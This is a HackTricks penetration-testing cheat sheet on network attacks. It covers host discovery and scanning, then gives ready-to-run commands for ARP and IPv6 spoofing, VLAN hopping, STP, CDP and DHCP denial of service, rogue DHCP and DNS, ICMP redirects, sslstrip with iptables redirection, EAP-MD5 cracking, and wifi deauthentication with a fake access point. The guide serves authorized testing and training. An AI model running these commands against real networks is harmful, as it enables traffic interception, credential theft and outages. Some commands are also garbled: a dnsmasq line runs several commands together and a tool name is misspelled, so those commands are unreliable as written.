# Pentesting Network

If you want to **know** about my **latest modifications**/**additions** or you have **any suggestion for HackTricks or PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/) ****[**PEASS & HackTricks telegram group here**](https://t.me/peass), or **follow me on Twitter** [🐦](https://emojipedia.org/bird/)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**  
If you want to **share some tricks with the community** you can also submit **pull requests** to **\*\*\[**[https://github.com/carlospolop/hacktricks\*\*\]\(https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks**]%28https://github.com/carlospolop/hacktricks)\) **\*\*that will be reflected in this book.  
Don't forget to** give ⭐ on the github\*\* to motivate me to continue developing this book.

## Discovering hosts from the outside

This is going to be a **brief section** about how to find **IPs responding** from the **Internet**.  
In this situation you have some **scope of IPs** \(maybe even several **ranges**\) and you just to find **which IPs are responding**.

### ICMP

This is the **easiest** and **fastest** way to discover if a host is up or not.  
You could try to send some **ICMP** packets and **expect responses**. The easiest way is just sending an **echo request** and expect from the response. You can do that using a simple `ping`or using `fping`for **ranges**.  
You could also use **nmap** to send other types of ICMP packets \(this will avoid filters to common ICMP echo request-response\).

```bash
ping -c 1 199.66.11.4    # 1 echo request to a host
fping -g 199.66.11.0/24  # Send echo requests to ranges
nmap -PEPM -sP -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
```

### TCP Port Discovery

It's very common to find that all kind of ICMP packets are being filtered. Then, all you can do to check if a host is up is **try to find open ports**. Each host has **65535 ports**, so, if you have a "big" scope you **cannot** test if **each port** of each host is open or not, that will take too much time.  
Then, what you need is a **fast port scanner** \([masscan](https://github.com/robertdavidgraham/masscan)\) and a list of the **ports more used:**

```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
```

You could also perform this step with `nmap`, but it slower and somewhat `nmap`has problems identifying hosts up.

### HTTP Port Discovery

This is just a TCP port discovery useful when you want to **focus on discovering HTTP** **services**:

```bash
masscan -p80,443,8000-8100,8443 199.66.11.0/24
```

### UDP Port Discovery

You could also try to check for some **UDP port open** to decide if you should **pay more attention** to a **host.** As UDP services usually **don't respond** with **any data** to a regular empty UDP probe packet it is difficult to say if a port is being filtered or open. The easiest way to decide this is to send a packet related to the running service, and as you don't know which service is running, you should try the most probable based on the port number:

```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
```

The nmap line proposed before will test the **top 100 UDP ports** in every host inside the **/24** range but even only this will take **&gt;20min**. If need **fastest results** you can use [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` This will send these **UDP probes** to their **expected port** \(for a /24 range this will just take 1 min\): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._

### SCTP Port Discovery

```bash
#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>
```

## [Attacking the Wifi](wifi-attacks/)

[Here you can find a nice guide of all the well known Wifi attacks at the time of the writing.](wifi-attacks/)

## Discovering hosts from the inside

If you are inside the network one of the first things you will want to do is to **discover other hosts**. Depending on **how much noise** you can/want to do, different actions could be performed:

### Passive

You can use these tools to passively discover hosts inside a connected network:

```bash
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap2
net.recon on/off
net.show
set net.show.meta true #more info
```

### Active

Note that the techniques commented in [_**Discovering hosts from the outside**_](./#discovering-hosts-from-the-outside) \(_TCP/HTTP/UDP/SCTP Port Discovery_\) can be also **applied here**.  
But, as you are in the **same network** as the other hosts, you can do **more things**:

```bash
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)

#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain

# Bettercap2 (By default ARP requests are sent) 
net.probe on/off #Activate all service discover and ARP
net.probe.mdns #Search local mDNS services (Discover local)
net.probe.nbns #Ask for NetBios name (Discover local)
net.probe.upnp # Search services (Discover local)
net.probe.wsd # Search Web Services Discovery (Discover local)
net.probe.throttle 10 #10ms between requests sent (Discover local)

#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
```

### Active ICMP

Note that the techniques commented in _Discovering hosts from the outside_ \([_**ICMP**_](./#icmp)\) can be also **applied here**.  
But, as you are in the **same network** as the other hosts, you can do **more things**:

* If you **ping** a **subnet broadcast address** the ping should be arrive to **each host** and they could **respond** to **you**: `ping -b 10.10.5.255` 
* Pinging the **network broadcast address** you could even find hosts inside **other subnets**: `ping -b 255.255.255.255`
* Use the `-PEPM` flag of `nmap`to perform host discovery sending **ICMPv4 echo**, **timestamp**, and **subnet mask requests:** `nmap -PEPM -sP –vvv -n 10.12.5.0/24`

### **Wake On Lan**

Wake On Lan is used to **turn on** computers through a **network message**. The magic packet used to turn on the computer is only a packet where a **MAC Dst** is provided and then it is **repeated 16 times** inside the same paket.  
Then this kind of packets are usually sent in an **ethernet 0x0842** or in a **UDP packet to port 9**.  
If **no \[MAC\]** is provided, the packet is sent to **broadcast ethernet** \(and the broadcast MAC will be the one being repeated\).

```bash
#WOL (without MAC is used ff:...:ff)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
## Bettercap2 can also be used for this purpose
```

## Scanning Hosts

Once you have discovered all the IPs \(external or internal\) you want to scan in depth, different actions can be performed.

### TCP

* **Open** port: _SYN --&gt; SYN/ACK --&gt; RST_
* **Closed** port: _SYN --&gt; RST/ACK_
* **Filtered** port: _SYN --&gt; \[NO RESPONSE\]_
* **Filtered** port: _SYN --&gt; ICMP message_

```bash
## Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP> 
## Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP> 
## Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

#Bettercap2 Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
```

### UDP

There are 2 options to scan an UDP port:

* Send a **UDP packet** and check for the response _**ICMP unreachable**_ if the port is **closed** \(in several cases ICMP will be **filtered** so you won't receive any information inf the port is close or open\).
* Send a **formatted datagrams** to elicit a response from a **service** \(e.g., DNS, DHCP, TFTP, and others, as listed in _nmap-payloads_\). If you receive a **response**, then, the port is **open**.

**Nmap** will **mix both** options using "-sV" \(UDP scans are very slow\), but notice that UDP scans are slower than TCP scans:

```bash
## Check if any of the most common udp services is running
udp-proto-scanner.pl <IP> 
## Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
## Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP> 
## Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
## You could use nmap to test all the UDP ports, but that will take a lot of time
```

### SCTP Scan

SCTP sits alongside TCP and UDP. Intended to provide **transport** of **telephony** data over **IP**, the protocol duplicates many of the reliability features of Signaling System 7 \(SS7\), and underpins a larger protocol family known as SIGTRAN. SCTP is supported by operating systems including IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS, and VxWorks.

Two different scans for SCTP are offered by nmap: _-sY_ and _-sZ_

```bash
## Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
## Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
```

### [Info about IDS and IPS evasion](ids-evasion.md)

### \*\*\*\*[**More nmap options**](nmap-summary-esp.md)\*\*\*\*

### Revealing Internal IP Addresses

Misconfigured routers, firewalls, and network devices sometimes **respond** to network probes **using nonpublic source addresses**. You can use _tcpdump_ used to **identify packets** received from **private addresses** during testing. In this case, the _eth2_ interface in Kali Linux is **addressable** from the **public Internet** \(If you are **behind** a **NAT** of a **Firewall** this kind of packets are probably going to be **filtered**\).

```bash
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
```

## Sniffing

Sniffing you can learn details of IP ranges, subnet sizes, MAC addresses, and hostnames by reviewing captured frames and packets. If the network is misconfigured or switching fabric under stress, attackers can capture sensitive material via passive network sniffing.

If a switched Ethernet network is configured properly, you will only see broadcast frames and material destined for your MAC address.

### TCPDump

```bash
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
```

### Bettercap2

```bash
net.sniff on
net.sniff stats
net.sniff.output #Output file
net.sniff.local #Accept packets from this machine
net.sniff.filter
net.sniff.regexp
```

### Wireshark

Obviously.

### Capturing credentials

You can us tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface.

## LAN attacks

### ARP spoofing

ARP Spoofing consist on sending gratuitous ARPResponses to indicate that the IP of a machine has the MAC of our device. Then, the victim will change the ARP table and will contact our machine every time it wants to contact the IP spoofed.

#### **Bettercap2**

```bash
arp.spoof on
arp.ban on # No ipv4-redirect
arp.spoof.targets
arp.spoof.whitelist
arp.spoof.internal #Spoofed local connections (by default only Victim <--> Gateway
```

#### **Arpspoof**

```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
```

### MAC Flooding - CAM overflow

Overflow the switch’s CAM table sending a lot of packets with different source mac address. When the CAM table is full the switch start behaving like a hub \(broadcasting all the traffic\).

```bash
macof -i <interface>
```

In modern switches this vulnerability has been fixed.

### 802.1Q VLAN

#### Dynamic Trunking

Many switches support the Dynamic Trunking Protocol \(DTP\) by default, however, which an adversary can abuse to **emulate a switch and receive traffic across all VLANs**. The tool [_dtpscan.sh_](https://github.com/commonexploits/dtpscan) can sniff an interface and **reports if switch is in Default mode, trunk, dynamic, auto or access mode** \(this is the only one that would avoid VLAN hopping\). The tool will indicate if the switch is vulnerable or not.

If it was discovered that the the network is vulnerable, you can use _**Yersinia**_ to launch an "**enable trunking**" using protocol "**DTP**" and you will be able to see network packets from all the VLANs.

```bash
apt-get install yersinia #Installation
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"
```

#### Attacking specific VLANs

Once you known VLAN IDs and IPs values,you can **configure a virtual interface to attack a specific VLAN**.  
If DHCP is not available, then use _ifconfig_ to set a static IP address.

```text
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
          inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
          inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:19 errors:0 dropped:0 overruns:0 frame:0
          TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)

root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
```

#### Automatic VLAN Hopper

The discussed attack of **Dynamic Trunking and creating virtual interfaces an discovering hosts inside** other VLANs are **automatically performed** by the tool: [https://github.com/nccgroup/vlan-hopping---frogger](https://github.com/nccgroup/vlan-hopping---frogger)

#### Double Tagging

If an attacker knows the value of the **MAC, IP and VLAN ID of the victim host**, he could try to **double tag a frame** with its designated VLAN and the VLAN of the victim and send a packet. As the **victim won't be able to connect back** with the attacker, so the **best option for the attacker is communicate via UDP** to protocols than can perform some interesting actions \(like SNMP\).

Another option for the attacker is to launch a **TCP port scan spoofing an IP controlled by the attacker and accessible by the victim** \(probably through internet\). Then, the attacker could sniff in the second host owned by him if it receives some packets from the victim.

#### Layer 3 Private VLAN Bypass

In guest wireless networks and other environments, private VLAN \(also known as _port isolation_\) settings are used to **prevent peers from interacting** \(i.e., clients **connect to a wireless access point but cannot address one another**\). Depending on network ACLs \(or lack thereof\), it might be possible to send IP packets up to a router, which are then forwarded back to a neighbouring peer.

This attack will send a **specially crafted packet to the IP of a client but with the MAC of the router**. Then, the **router will redirect the packet to the client**. As in _Double Tagging Attacks_ you can exploit this vulnerability by controlling a host accessible by the victim.

### STP Attacks

**If you cannot capture BPDU frames on your interfaces, it is unlikely that you will succeed in an STP attack.**

#### **STP BPDU DoS**

Sending a lot of BPDUs TCP \(Topology Change Notification\) or Conf \(the BPDUs that are sent when the topology is created\) the switches are overloaded and stop working correctly.

```bash
yersina stp -attack 2
yersina stp -attack 3
#Use -M to disable MAC spoofing
```

#### **STP TCP Attack**

When a TCP is sent, the CAM table of the switches will be deleted in 15s. Then, if you are sending continuously this kind of packets, the CAM table will be restarted continuously \(or every 15segs\) and when it is restarted, the switch behaves as a hub

```bash
yersina stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersina stp -attack 0 #Will send 1 CONF packet, nothing else will happen
```

#### **STP Root Attack**

The attacker simulates the behaviour of a switch to become the STP root of the network. Then, more data will pass through him. This is interesting when you are connected to two different switches.  
This is done by sending BPDUs CONF packets saying that the **priority** value is less than the actual priority of the actual root switch.

```bash
yersina stp -attack 4 #Behaves like the root switch
yersina stp -attack 5 #This will make the device behaves as a switch but will not be root
```

**If the attacker is connected to 2 switches he can be the root of the new tree and all the traffic between those switches will pass through him** \(a MITM attack will be performed\).

```bash
yersina stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
```

### CDP Attacks

CISCO Discovery Protocol is the protocol used by CISCO devices to talk among them, discover who is alive and what features does they have. You can make a DoS attack to a CISCO switch by exhausting the device memory simulating real CISCO devices.

You could use `Yersina` to capture CDP frames and show the information

```bash
sudo yersinia cdp -attack 1 #DoS Attack simulating new CISCO devices
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
```

You could also use [scapy](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package.

### DHCP

#### Enumeration

```bash
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover: 
|   Response 1 of 1: 
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
```

**DoS**

**Two types of DoS** could be performed against DHCP servers. The first one consists on **simulate enough fake hosts to use all the possible IP addresses**.  
This attack will work only if you can see the responses of the DHCP server and complete the protocol \(**Discover** \(Comp\) --&gt; **Offer** \(server\) --&gt; **Request** \(Comp\) --&gt; **ACK** \(server\)\). For example, this is **not possible in Wifi networks**.

Another way to perform a DHCP DoS is to send a **DHCP-RELEASE packet using as source code every possible IP**. Then, the server will think that everybody has finished using the IP.

```bash
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
```

A more automatic way of doing this is using the tool [DHCPing](https://github.com/kamorin/DHCPig)

You could use the mentioned DoS attacks to force clients to obtain new leases within the environment, and exhaust legitimate servers so that they become unresponsive. So when the legitimate try to reconnect, **you can server malicious values mentioned in the next attack**.

#### Set malicious values

You can use Responder DHCP script \(_/usr/share/responder/DHCP.py_\) to establish a rogue DHCP server. Setting a malicious gateway is not ideal, because the hijacked connection is only half-duplex \(i.e., we capture egress packets from the client, but not the responses from the legitimate gateway\). As such, I would recommend setting a rogue DNS or WPAD server to capture HTTP traffic and credentials in particular.

| Description | Example |
| :--- | :--- |
| Our IP address, advertised as a gateway | _-i 10.0.0.100_ |
| The local DNS domain name \(optional\) | _-d example.org_ |
| IP address of the original router/gateway | _-r 10.0.0.1_ |
| Primary DNS server IP address | _-p 10.0.0.100_ |
| Secondary DNS server IP address \(optional\) | _-s 10.0.0.1_ |
| The netmask of the local network | _-n 255.255.255.0_ |
| The interface to listen for DHCP traffic on | _-I eth1_ |
| WPAD configuration address \(URL\) | _-w “_[http://10.0.0.100/wpad.dat\n”](http://10.0.0.100/wpad.dat\n”) |
| Spoof the default gateway IP address | -S |
| Respond to all DHCP requests \(very noisy\) | -R |

### **EAP**

Here are some of the attack tactics that can be used against 802.1X implementations:

* Active brute-force password grinding via EAP
* Attacking the RADIUS server with malformed EAP content _\*\*_\(exploits\)
* EAP message capture and offline password cracking \(EAP-MD5 and PEAP\)
* Forcing EAP-MD5 authentication to bypass TLS certificate validation
* Injecting malicious network traffic upon authenticating using a hub or similar

If the attacker if between the victim and the authentication server, he could try to degrade \(if necessary\) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using:

```text
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
```

### HSRP AND VRRP

Hot Standby Routing Protocol \(HSRP\) and the Virtual Router Redundancy Protocol \(VRRP\) are used in high-availability environments to provide failover support. Routers send packets to local multicast groups announcing configuration and priority details.

HSRP is a proprietary Cisco protocol with no RFC, whereas VRRP is standardized. To evaluate HSRP and VRRP support within an environment, use a network sniffer to capture the management traffic. You can use a number of tools to craft HSRP messages \(including Scapy and Yersinia\), but only Loki provides VRRP support at this time.

For more information about how to attack this protocols go to the book _**Network Security Assessment: Know Your Network \(3rd edition\)**_

### RIP

Three versions of the Routing Information Protocol \(RIP\) exist—RIP, RIPv2, and RIPng. RIP and RIPv2 use UDP datagrams sent to peers via port 520, whereas RIPng broadcasts datagrams to UDP port 521 via IPv6 multicast. RIPv2 introduced MD5 authentication support. RIPng does not incorporate native authentication; rather, it relies on optional IPsec AH and ESP headers within IPv6.

For more information about how to attack this protocol go to the book _**Network Security Assessment: Know Your Network \(3rd edition\).**_

#### EIGRP

The Enhanced Interior Gateway Routing Protocol \(EIGRP\) is Cisco proprietary and can be run with or without authentication. \_\_[Coly](https://code.google.com/p/coly/) supports capture of EIGRP broadcasts and injection of packets to manipulate routing configuration.

For more information about how to attack this protocol go to the book _**Network Security Assessment: Know Your Network \(3rd edition\).**_

### OSPF

Most Open Shortest Path First \(OSPF\) implementations use MD5 to provide authentication between routers. Loki and John the Ripper can capture and attack MD5 hashes to reveal the key, which can then be used to advertise new routes. The route parameters are set by using the _Injection_ tab, and the key set under _Connection_.

For more information about how to attack this protocol go to the book _**Network Security Assessment: Know Your Network \(3rd edition\).**_

_\*\*\*\*_

You can find some more information about network attacks [here](https://github.com/Sab0tag3d/MITM-cheatsheet). _\*\*\(TODO: Read it all and all new attacks if any\)_

## **Spoofing**

The attacker configures all the network parameters \(GW, IP, DNS\) of the new member of the network sending fake DHCP responses.

```bash
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
```

### ICMPRedirect

ICMP Redirect consist on sending an ICMP packet type 1 code 5 that indicates that the attacker is the best way to reach an IP. Then, when the victim wants to contact the IP, it will send the packet through the attacker.

```bash
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
```

### DNS Spoofing

The attacker will resolve some \(or all\) the domains that the victim ask for.

```bash
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
```

**Configure own DNS with dnsmasq**

```bash
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1   domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
```

### Local Gateways

Multiple routes to systems and networks often exist. Upon building a list of MAC addresses within the local network, use _gateway-finder.py_ to identify hosts that support IPv4 forwarding.

```text
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/) 
10.0.0.100     00:13:72:09:ad:76       Dell Inc.
10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
```

### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

Microsoft systems use Link-Local Multicast Name Resolution \(LLMNR\) and the NetBIOS Name Service \(NBT-NS\) for local host resolution when DNS lookups fail. Apple Bonjour and Linux zero-configuration implementations use Multicast DNS \(mDNS\) to discover systems within a network. These protocols are unauthenticated and broadcast messages over UDP; thus, attackers can exploit them to direct users to malicious services.

You can impersonate services that are searched by hosts using Responder to send fake responses.  
Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).

### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

Many browsers use Web Proxy Auto-Discovery \(WPAD\) to load proxy settings from the network. A WPAD server provides client proxy settings via a particular URL \(e.g., [http://wpad.example.org/wpad.dat](http://wpad.example.org/wpad.dat)\) upon being identified through any of the following:

* DHCP, using a code 252 entry[34](https://learning.oreilly.com/library/view/Network+Security+Assessment,+3rd+Edition/9781491911044/ch05.html#ch05fn41)
* DNS, searching for the _wpad_ hostname in the local domain
* Microsoft LLMNR and NBT-NS \(in the event of DNS lookup failure\)

Responder automates the WPAD attack—running a proxy and directing clients to a malicious WPAD server via DHCP, DNS, LLMNR, and NBT-NS.  
Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).

### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)

You can offer different services in the network to try to **trick a user** to enter some **plain-text credentials**. **More information about this attack in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**

### IPv6 Neighbor Spoofing

This attack is very similar to ARP Spoofing but in the IPv6 world. You can get the victim think that the IPv6 of the GW has the MAC of the attacker.

```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
```

### IPv6 Router Advertisement Spoofing/Flooding

Some OS configure by default the gateway from the RA packets sent in the network. To declare the attacker as IPv6 router you can use:

```bash
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
```

### IPv6 DHCP spoofing

By default some OS try to configure the DNS reading a DHCPv6 packet in the network. Then, an attacker could send a DHCPv6 packet to configure himself as DNS. The DHCP also provides an IPv6 to the victim.

```bash
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6
```

### HTTP \(fake page and JS code injection\)

## Internet Attacks

### sslStrip

Basically what this attack does is, in case the **user** try to **access** a **HTTP** page that is **redirecting** to the **HTTPS** version. **sslStrip** will **maintain** a **HTTP connection with** the **client and** a **HTTPS connection with** the **server** so it ill be able to **sniff** the connection in **plain text**.

```bash
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
```

More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).

### sslStrip+ and dns2proxy for bypassing HSTS

The **difference** between **sslStrip+ and dns2proxy** against **sslStrip** is that they will **redirect** for example _**www.facebook.com**_ **to** _**wwww.facebook.com**_ \(note the **extra** "**w**"\) and will set the **address of this domain as the attacker IP**. This way, the **client** will **connect** to _**wwww.facebook.com**_ **\(the attacker\)** but behind the scenes **sslstrip+** will **maintain** the **real connection** via https with **www.facebook.com**.

The **goal** of this technique is to **avoid HSTS** because _**wwww**.facebook.com_ **won't** be saved in the **cache** of the browser, so the browser will be tricked to perform **facebook authentication in HTTP**.  
Note that in order to perform this attack the victim has to try to access initially to [http://www.faceook.com](http://www.faceook.com) and not https. This can be done modifying the links inside an http page.

More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).

**sslStrip or sslStrip+ doesn;t work anymore. This is because there are HSTS rules presaved in the browsers, so even if it's the first time that a user access an "important" domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag** [**`includeSubdomains`**](https://hstspreload.appspot.com/) **so the** _**wwww.facebook.com**_ **example from before won't work anymore as** _**facebook.com**_ **uses HSTS with `includeSubdomains`.**

TODO: easy-creds, evilgrade, metasploit, factory

## TCP listen in port

```text
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
```

## TCP + SSL listen in port

#### Generate keys and self-signed certificate

```text
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
```

#### Listen using certificate

```text
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
```

#### Listen using certificate and redirect to the hosts

```text
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0
```

Some times, if the client checks that the CA is a valid one, you could **serve a certificate of other hostname signed by a CA**.  
Another interesting test, is to serve a c**ertificate of the requested hostname but self-signed**.

Other things to test is to try to sign the certificate with a valid certificate that it is not a valid CA. Or to use the valid public key, force to use an algorithm as diffie hellman \(one that do not need to decrypt anything with the real private key\) and when the client request a probe of the real private key \(like a hash\) send a fake probe and expect that the client does not check this.

## Bettercap 2

```bash
## Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events 
events.clear

## Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on

## Caplets
caplets.show
caplets.update

## Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
```

### Active Discovery Notes

Take into account that when a UDP packet is sent to a device that do not have the requested port an ICMP \(Port Unreachable\) is sent.

### **ARP discover**

ARP packets are used to discover wich IPs are being used inside the network. The PC has to send a request for each possible IP address and only the ones that are being used will respond.

### **mDNS \(multicast DNS\)**

Bettercap send a MDNS request \(each X ms\) asking for **\_services\_.dns-sd.\_udp.local** the machine that see this paket usually answer this request. Then, it only searchs for machine answering to "services".

**Tools**

* Avahi-browser \(--all\)
* Bettercap \(net.probe.mdns\)
* Responder

### **NBNS \(NetBios Name Server\)**

Bettercap broadcast packets to the port 137/UDP asking for the name "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".

### **SSDP \(Simple Service Discovery Protocol\)**

Bettercap broadcast SSDP packets searching for all kind of services \(UDP Port 1900\).

### **WSD \(Web Service Discovery\)**

Bettercap broadcast WSD packets searching for services \(UDP Port 3702\).

